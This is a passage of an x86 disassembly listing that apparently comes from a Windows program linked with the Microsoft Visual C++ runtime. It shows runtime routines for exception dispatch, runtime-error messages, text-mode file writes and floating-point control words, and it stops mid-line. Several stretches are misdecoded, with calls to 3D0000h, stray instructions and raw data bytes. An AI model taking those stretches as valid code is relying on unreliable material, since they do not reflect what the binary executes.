[ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_417BE8 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_417B7B: ; CODE XREF: sub_417B48+90j cmp esi, 0FFFFFFFFh jz short loc_417BE1 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_417BCF push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_417BCF js short loc_417BDA mov edi, [ebx+8] push ebx call sub_4111B0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4111F2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_411286 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_417BCF: ; CODE XREF: sub_417B48+40j ; sub_417B48+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_417B7B ; --------------------------------------------------------------------------- loc_417BDA: ; CODE XREF: sub_417B48+54j mov eax, 0 jmp short loc_417BFD ; --------------------------------------------------------------------------- loc_417BE1: ; CODE XREF: sub_417B48+36j mov eax, 1 jmp short loc_417BFD ; --------------------------------------------------------------------------- loc_417BE8: ; CODE XREF: sub_417B48+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4111F2 add esp, 8 pop ebp mov eax, 1 loc_417BFD: ; CODE XREF: sub_417B48+97j ; sub_417B48+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_417B48 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_4111F2 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_412ADE+9p ; sub_412B03+9p mov eax, ds:dword_45F898 cmp eax, 1 jz short loc_417C37 test eax, eax jnz short locret_417C58 cmp ds:dword_42E184, 1 jnz short locret_417C58 loc_417C37: ; CODE XREF: sub_417C20+8j push 0FCh call near ptr sub_417C59 mov eax, ds:dword_45FA00 pop ecx test eax, eax jz short loc_417C4D call eax loc_417C4D: ; CODE XREF: sub_417C20+29j push 0FFh call near ptr sub_417C59 pop ecx locret_417C58: ; CODE XREF: sub_417C20+Cj ; sub_417C20+15j retn sub_417C20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C59 proc far ; CODE XREF: sub_412ADE+12p ; sub_412B03+12p ... var_72EC8A40 = byte ptr -72EC8A40h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_FFFFFFFC = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_FFFFFFFC] xor ecx, ecx mov eax, offset dword_42E7F8 loc_417C6C: ; CODE XREF: sub_417C59+20j cmp edx, [eax] jz short loc_417C7B add eax, 8 inc ecx cmp eax, offset off_42E888 jl short loc_417C6C loc_417C7B: ; CODE XREF: sub_417C59+15j push esi mov esi, ecx shl esi, 3 cmp edx, ds:dword_42E7F8[esi] jnz loc_417DA9 mov eax, ds:dword_45F898 cmp eax, 1 jz loc_417D83 test eax, eax jnz short loc_417CAC cmp ds:dword_42E184, 1 jz loc_417D83 loc_417CAC: ; CODE XREF: sub_417C59+44j cmp edx, 0FCh jz loc_417DA9 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 3D0000h or [ebp+var_72EC8A40], al test [esi+edi*8-1], ebx jmp fword ptr [eax+44h] ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 41h, 0, 50h ; --------------------------------------------------------------------------- call sub_411B70 pop ecx pop ecx lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_410B60 inc eax pop ecx cmp eax, 3Ch jbe short loc_417D26 lea eax, [ebp+var_1A4] push eax call sub_410B60 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_411D00 add esp, 10h loc_417D26: ; CODE XREF: sub_417C59+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_411B70 lea eax, [ebp+var_A0] push edi push eax call sub_411B80 lea eax, [ebp+var_A0] push offset asc_41CB20 ; "\n\n" push eax call sub_411B80 push ds:off_42E7FC[esi] lea eax, [ebp+var_A0] push eax call sub_411B80 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_4195E1 add esp, 2Ch pop edi jmp short loc_417DA9 ; --------------------------------------------------------------------------- loc_417D83: ; CODE XREF: sub_417C59+3Cj ; sub_417C59+4Dj lea eax, [ebp+arg_FFFFFFFC] lea esi, off_42E7FC[esi] push 0 push eax push dword ptr [esi] call sub_410B60 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 3D0000h push ecx push eax call near ptr 3D0000h outsd loc_417DA9: ; CODE XREF: sub_417C59+2Ej ; sub_417C59+59j ... pop esi leave retn sub_417C59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DAC proc near ; CODE XREF: sub_412B27+95p ; sub_412B27+E8p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, ds:dword_460C60 push esi push edi jnb loc_417F40 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:460B60h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_417F40 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_417DFD loc_417DF6: ; CODE XREF: sub_417DAC+177j xor eax, eax jmp loc_417F54 ; --------------------------------------------------------------------------- loc_417DFD: ; CODE XREF: sub_417DAC+48j test al, 20h jz short loc_417E0D push 2 push edi push ecx call sub_4169A2 add esp, 0Ch loc_417E0D: ; CODE XREF: sub_417DAC+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_417EDC mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_417F14 loc_417E2D: ; CODE XREF: sub_417DAC+F5j lea eax, [ebp+var_414] loc_417E33: ; CODE XREF: sub_417DAC+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_417E67 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_417E52 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_417E52: ; CODE XREF: sub_417DAC+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_417E33 loc_417E67: ; CODE XREF: sub_417DAC+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 3D0000h dec edi test eax, eax jz short loc_417ED1 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_417EA3 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_417E2D loc_417EA3: ; CODE XREF: sub_417DAC+EAj ; sub_417DAC+12Ej xor edi, edi loc_417EA5: ; CODE XREF: sub_417DAC+150j ; sub_417DAC+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_417F3B cmp [ebp+arg_0], edi jz short loc_417F14 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_417F09 mov ds:dword_45F844, 9 mov ds:dword_45F848, eax jmp loc_417F51 ; --------------------------------------------------------------------------- loc_417ED1: ; CODE XREF: sub_417DAC+E0j call ds:dword_41C068 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_417EA3 ; --------------------------------------------------------------------------- loc_417EDC: ; CODE XREF: sub_417DAC+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 3D0000h xchg eax, edi test eax, eax jz short loc_417EFE mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_417EA5 ; --------------------------------------------------------------------------- loc_417EFE: ; CODE XREF: sub_417DAC+145j call ds:dword_41C068 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_417EA5 ; --------------------------------------------------------------------------- loc_417F09: ; CODE XREF: sub_417DAC+10Fj push [ebp+arg_0] call sub_41724D pop ecx jmp short loc_417F51 ; --------------------------------------------------------------------------- loc_417F14: ; CODE XREF: sub_417DAC+7Bj ; sub_417DAC+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_417F29 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_417DF6 loc_417F29: ; CODE XREF: sub_417DAC+16Fj mov ds:dword_45F844, 1Ch mov ds:dword_45F848, edi jmp short loc_417F51 ; --------------------------------------------------------------------------- loc_417F3B: ; CODE XREF: sub_417DAC+FEj sub eax, [ebp+var_10] jmp short loc_417F54 ; --------------------------------------------------------------------------- loc_417F40: ; CODE XREF: sub_417DAC+15j ; sub_417DAC+37j and ds:dword_45F848, 0 mov ds:dword_45F844, 9 loc_417F51: ; CODE XREF: sub_417DAC+120j ; sub_417DAC+166j ... or eax, 0FFFFFFFFh loc_417F54: ; CODE XREF: sub_417DAC+4Cj ; sub_417DAC+192j pop edi pop esi pop ebx leave retn sub_417DAC endp ; =============== S U B R O U T I N E ======================================= sub_417F59 proc near ; CODE XREF: sub_412B27+6Cp ; sub_4164EB+32p ... arg_0 = dword ptr 4 inc ds:dword_45FA04 push 1000h call sub_410C0F pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_417F82 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_417F93 ; --------------------------------------------------------------------------- loc_417F82: ; CODE XREF: sub_417F59+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_417F93: ; CODE XREF: sub_417F59+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_417F59 endp ; =============== S U B R O U T I N E ======================================= sub_417F9D proc near ; CODE XREF: sub_412B27+61p ; sub_4172B4+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_460C60 jb short loc_417FAC xor eax, eax retn ; --------------------------------------------------------------------------- loc_417FAC: ; CODE XREF: sub_417F9D+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_460B60[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_417F9D endp ; --------------------------------------------------------------------------- mov eax, ds:dword_460B40 push esi push 14h test eax, eax pop esi jnz short loc_417FD7 mov eax, 200h jmp short loc_417FDD ; --------------------------------------------------------------------------- loc_417FD7: ; CODE XREF: seg000:00417FCEj cmp eax, esi jge short loc_417FE2 mov eax, esi loc_417FDD: ; CODE XREF: seg000:00417FD5j mov ds:dword_460B40, eax loc_417FE2: ; CODE XREF: seg000:00417FD9j push 4 push eax call sub_41966A pop ecx mov ds:dword_45FB34, eax test eax, eax pop ecx jnz short loc_418016 push 4 push esi mov ds:dword_460B40, esi call sub_41966A pop ecx mov ds:dword_45FB34, eax test eax, eax pop ecx jnz short loc_418016 push 1Ah call sub_412ADE pop ecx loc_418016: ; CODE XREF: seg000:00417FF3j ; seg000:0041800Cj xor ecx, ecx mov eax, offset off_42E888 loc_41801D: ; CODE XREF: seg000:00418031j mov edx, ds:dword_45FB34 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_42EB08 jl short loc_41801D xor edx, edx mov ecx, offset dword_42E898 loc_41803A: ; CODE XREF: seg000:00418064j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, ds:dword_460B60[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_418057 test eax, eax jnz short loc_41805A loc_418057: ; CODE XREF: seg000:00418051j or dword ptr [ecx], 0FFFFFFFFh loc_41805A: ; CODE XREF: seg000:00418055j add ecx, 20h inc edx cmp ecx, offset dword_42E8F8 jl short loc_41803A pop esi retn ; --------------------------------------------------------------------------- loc_418068: ; DATA XREF: seg002:0041E02Co call sub_416475 cmp ds:byte_45F884, 0 jz short locret_41807B jmp loc_4196E7 ; --------------------------------------------------------------------------- locret_41807B: ; CODE XREF: seg000:00418074j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41807C proc near ; CODE XREF: sub_412C3C+2D4p ; sub_412C3C+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_418088 pop ebp retn ; --------------------------------------------------------------------------- loc_418088: ; CODE XREF: sub_41807C+8j cmp ds:dword_45F8D0, 0 jnz short loc_4180A3 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_4180D5 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_4180A3: ; CODE XREF: sub_41807C+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push ds:dword_42E39C push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push ds:dword_45F8E0 call ds:dword_41C11C ; WideCharToMultiByte test eax, eax jz short loc_4180D5 cmp [ebp+arg_0], 0 jz short loc_4180E2 loc_4180D5: ; CODE XREF: sub_41807C+1Ej ; sub_41807C+51j mov ds:dword_45F844, 2Ah or eax, 0FFFFFFFFh loc_4180E2: ; CODE XREF: sub_41807C+57j pop ebp retn sub_41807C endp ; --------------------------------------------------------------------------- loc_4180E4: ; CODE XREF: sub_413446+5Ep ; sub_417022+9Ap push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41CB60 push offset sub_417B48 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp-18h], esp mov eax, ds:dword_45FA08 xor ebx, ebx cmp eax, ebx jnz short loc_418153 lea eax, [ebp-1Ch] push eax push 1 pop esi push esi push offset dword_41C850 push esi call ds:dword_41C028 ; GetStringTypeW test eax, eax jz short loc_418131 mov eax, esi jmp short loc_41814E ; --------------------------------------------------------------------------- loc_418131: ; CODE XREF: seg000:0041812Bj lea eax, [ebp-1Ch] push eax push esi push offset dword_42F3E4 push esi push ebx call near ptr 3D0000h hlt ; --------------------------------------------------------------------------- test eax, eax jz loc_418219 push 2 pop eax loc_41814E: ; CODE XREF: seg000:0041812Fj mov ds:dword_45FA08, eax loc_418153: ; CODE XREF: seg000:00418113j cmp eax, 2 jnz short near ptr loc_41817B+1 mov eax, [ebp+1Ch] cmp eax, ebx jnz short loc_418164 mov eax, ds:dword_45F8D0 loc_418164: ; CODE XREF: seg000:0041815Dj push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push eax call near ptr 3D0000h mov ecx, 9FE9h loc_41817B: ; CODE XREF: seg000:00418156j add [ebx-7AF0FE08h], al xchg eax, esp ; --------------------------------------------------------------------------- dw 0 dd 185D3900h, 0E0A10875h, 890045F8h, 53531845h, 0FF1075FFh dd 458B0C75h, 1BD8F720h, 8E083C0h, 75FF5040h, 2015FF18h dd 890041C1h, 0C33BE045h, 5D896374h, 3C8DFCh, 0C083C78Bh dd 0E8FC2403h, 0FFFF8A18h, 8BE86589h, 0DC7589F4h, 0E8565357h dd 0FFFF83B8h, 0EB0CC483h, 58016A0Bh, 0E8658BC3h, 0F633DB33h dd 0FFFC4D83h, 2974F33Bh, 56E075FFh, 0FF1075FFh, 16A0C75h dd 0FF1875FFh, 41C12015h, 74C33B00h, 1475FF10h, 75FF5650h dd 2815FF08h, 0EB0041C0h db 2 ; --------------------------------------------------------------------------- loc_418219: ; CODE XREF: seg000:00418145j xor eax, eax lea esp, [ebp-34h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41822D proc near ; CODE XREF: sub_414606+52p xor eax, eax retn sub_41822D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418230 proc near ; CODE XREF: sub_418265+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41827B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41830D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_418230 endp ; =============== S U B R O U T I N E ======================================= sub_418265 proc near ; CODE XREF: sub_4148F2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_418230 pop ecx pop ecx retn sub_418265 endp ; =============== S U B R O U T I N E ======================================= sub_41827B proc near ; CODE XREF: sub_418230+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41828C push 10h pop eax loc_41828C: ; CODE XREF: sub_41827B+Cj test bl, 4 jz short loc_418293 or al, 8 loc_418293: ; CODE XREF: sub_41827B+14j test bl, 8 jz short loc_41829A or al, 4 loc_41829A: ; CODE XREF: sub_41827B+1Bj test bl, 10h jz short loc_4182A1 or al, 2 loc_4182A1: ; CODE XREF: sub_41827B+22j test bl, 20h jz short loc_4182A8 or al, 1 loc_4182A8: ; CODE XREF: sub_41827B+29j test bl, 2 jz short loc_4182B2 or eax, 80000h loc_4182B2: ; CODE XREF: sub_41827B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4182EA cmp edx, 400h jz short loc_4182E7 cmp edx, 800h jz short loc_4182E3 cmp edx, esi jnz short loc_4182EA or eax, edi jmp short loc_4182EA ; --------------------------------------------------------------------------- loc_4182E3: ; CODE XREF: sub_41827B+5Ej or eax, ebp jmp short loc_4182EA ; --------------------------------------------------------------------------- loc_4182E7: ; CODE XREF: sub_41827B+56j or ah, 1 loc_4182EA: ; CODE XREF: sub_41827B+4Ej ; sub_41827B+62j ... and ecx, edi pop esi jz short loc_4182FA cmp ecx, ebp jnz short loc_4182FF or eax, 10000h jmp short loc_4182FF ; --------------------------------------------------------------------------- loc_4182FA: ; CODE XREF: sub_41827B+72j or eax, 20000h loc_4182FF: ; CODE XREF: sub_41827B+76j ; sub_41827B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41830C or eax, 40000h locret_41830C: ; CODE XREF: sub_41827B+8Aj retn sub_41827B endp ; =============== S U B R O U T I N E ======================================= sub_41830D proc near ; CODE XREF: sub_418230+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41831D push 1 pop eax loc_41831D: ; CODE XREF: sub_41830D+Bj test bl, 8 jz short loc_418324 or al, 4 loc_418324: ; CODE XREF: sub_41830D+13j test bl, 4 jz short loc_41832B or al, 8 loc_41832B: ; CODE XREF: sub_41830D+1Aj test bl, 2 jz short loc_418332 or al, 10h loc_418332: ; CODE XREF: sub_41830D+21j test bl, 1 jz short loc_418339 or al, 20h loc_418339: ; CODE XREF: sub_41830D+28j test ebx, 80000h jz short loc_418343 or al, 2 loc_418343: ; CODE XREF: sub_41830D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_418370 cmp ecx, 100h jz short loc_41836D cmp ecx, esi jz short loc_418368 cmp ecx, edx jnz short loc_418370 or ah, 0Ch jmp short loc_418370 ; --------------------------------------------------------------------------- loc_418368: ; CODE XREF: sub_41830D+50j or ah, 8 jmp short loc_418370 ; --------------------------------------------------------------------------- loc_41836D: ; CODE XREF: sub_41830D+4Cj or ah, 4 loc_418370: ; CODE XREF: sub_41830D+44j ; sub_41830D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_418386 cmp ecx, 10000h jnz short loc_418388 or eax, esi jmp short loc_418388 ; --------------------------------------------------------------------------- loc_418386: ; CODE XREF: sub_41830D+6Bj or eax, edx loc_418388: ; CODE XREF: sub_41830D+73j ; sub_41830D+77j pop esi test ebx, 40000h pop ebx jz short locret_418395 or ah, 10h locret_418395: ; CODE XREF: sub_41830D+83j retn sub_41830D endp ; =============== S U B R O U T I N E ======================================= sub_418396 proc near ; CODE XREF: sub_418435+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4183DB inc esi cmp esi, 3 jge short loc_4183D6 lea eax, [eax+esi*4] loc_4183C8: ; CODE XREF: sub_418396+3Ej cmp dword ptr [eax], 0 jnz short loc_4183DB inc esi add eax, 4 cmp esi, 3 jl short loc_4183C8 loc_4183D6: ; CODE XREF: sub_418396+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4183DB: ; CODE XREF: sub_418396+27j ; sub_418396+35j xor eax, eax pop esi retn sub_418396 endp ; =============== S U B R O U T I N E ======================================= sub_4183DF proc near ; CODE XREF: sub_418435+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41973F add esp, 0Ch dec esi js short loc_418431 lea edi, [ebx+esi*4] loc_418418: ; CODE XREF: sub_4183DF+50j test eax, eax jz short loc_418431 push edi push 1 push dword ptr [edi] call sub_41973F add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_418418 loc_418431: ; CODE XREF: sub_4183DF+34j ; sub_4183DF+3Bj pop edi pop esi pop ebx retn sub_4183DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418435 proc near ; CODE XREF: sub_418590+81p ; sub_418590+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_418499 inc ebx push ebx push [ebp+arg_0] call sub_418396 pop ecx test eax, eax pop ecx jnz short loc_418496 push edi push [ebp+arg_0] call sub_4183DF pop ecx mov [ebp+var_4], eax pop ecx loc_418496: ; CODE XREF: sub_418435+51j mov eax, [ebp+arg_4] loc_418499: ; CODE XREF: sub_418435+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4184B9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4184B9: ; CODE XREF: sub_418435+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_418435 endp ; =============== S U B R O U T I N E ======================================= sub_4184C1 proc near ; CODE XREF: sub_418590+75p ; sub_418590+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4184CF: ; CODE XREF: sub_4184C1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4184CF pop esi retn sub_4184C1 endp ; =============== S U B R O U T I N E ======================================= sub_4184DC proc near ; CODE XREF: sub_418590+5Fp ; sub_418590+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4184DC endp ; =============== S U B R O U T I N E ======================================= sub_4184E8 proc near ; CODE XREF: sub_418590+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4184EE: ; CODE XREF: sub_4184E8+12j cmp dword ptr [eax], 0 jnz short loc_418500 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4184EE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418500: ; CODE XREF: sub_4184E8+9j xor eax, eax retn sub_4184E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418503 proc near ; CODE XREF: sub_418590+C0p ; sub_418590+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_418539: ; CODE XREF: sub_418503+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_418539 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41856B: ; CODE XREF: sub_418503+86j cmp ebx, edi jl short loc_41857E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_418585 ; --------------------------------------------------------------------------- loc_41857E: ; CODE XREF: sub_418503+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_418585: ; CODE XREF: sub_418503+79j dec ebx sub ecx, 4 jns short loc_41856B pop edi pop esi pop ebx leave retn sub_418503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418590 proc near ; CODE XREF: sub_4186FC+Dp ; sub_418712+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4185FD lea eax, [ebp+var_C] xor esi, esi push eax call sub_4184E8 test eax, eax pop ecx jnz loc_4186BC lea eax, [ebp+var_C] push eax call sub_4184DC pop ecx loc_4185F5: ; CODE XREF: sub_418590+E4j push 2 loc_4185F7: ; CODE XREF: sub_418590+110j pop eax jmp loc_4186BE ; --------------------------------------------------------------------------- loc_4185FD: ; CODE XREF: sub_418590+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4184C1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_418435 add esp, 10h test eax, eax jz short loc_41861E inc ebx loc_41861E: ; CODE XREF: sub_418590+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_418636 lea eax, [ebp+var_C] push eax call sub_4184DC pop ecx jmp short loc_418672 ; --------------------------------------------------------------------------- loc_418636: ; CODE XREF: sub_418590+98j cmp ebx, eax jg short loc_418679 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4184C1 lea eax, [ebp+var_C] push esi push eax call sub_418503 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_418435 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_418503 add esp, 20h loc_418672: ; CODE XREF: sub_418590+A4j xor esi, esi jmp loc_4185F5 ; --------------------------------------------------------------------------- loc_418679: ; CODE XREF: sub_418590+A8j cmp ebx, [edi] jl short loc_4186A5 lea eax, [ebp+var_C] push eax call sub_4184DC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_418503 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4185F7 ; --------------------------------------------------------------------------- loc_4186A5: ; CODE XREF: 